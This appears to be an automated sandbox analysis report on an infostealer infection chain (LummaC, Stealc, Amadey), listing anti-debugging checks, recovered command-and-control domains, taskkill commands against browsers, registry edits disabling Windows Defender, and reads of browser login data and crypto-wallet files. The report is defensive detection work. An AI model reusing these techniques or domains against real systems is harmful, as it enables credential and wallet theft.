Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_0116C807 Start: 0116C89A End: 0116C82E 4_2_0116C807
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Code function: 5_2_05580EE5 Start: 05580F84 End: 05580EB9 5_2_05580EE5
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_0116C6A2 rdtsc 4_2_0116C6A2
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_00FDB7EA LdrInitializeThunk, 4_2_00FDB7EA
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp Binary or memory string: a!Program Manager
Source: GVDV7NGS54W9A7T64.exe, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: |vProgram Manager
Source: 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: C@Program Manager
Source: firefox.exe, 00000019.00000002.2508235286.000000E699DFB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?ProgmanListenerWi
Source: AJK1SC9862O5LRO4.exe, skotes.exe Binary or memory string: a!Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002608001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002608001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 32.2.WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.skotes.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.skotes.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.AJK1SC9862O5LRO4.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2292834036.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.2102133109.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.2055282800.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2096481983.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2142549332.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2557479019.00000000000E1000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.2516417905.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2336121912.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: dd62608cd9.exe PID: 4296, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 26.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe, 00000000.00000003.1729379580.00000000010E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: s/Electrum-LTC
Source: file.exe, 00000000.00000003.1729379580.00000000010E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: s/ElectronCash)H;j
Source: file.exe String found in binary or memory: Jaxx Liberty
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: ExodusWeb3
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
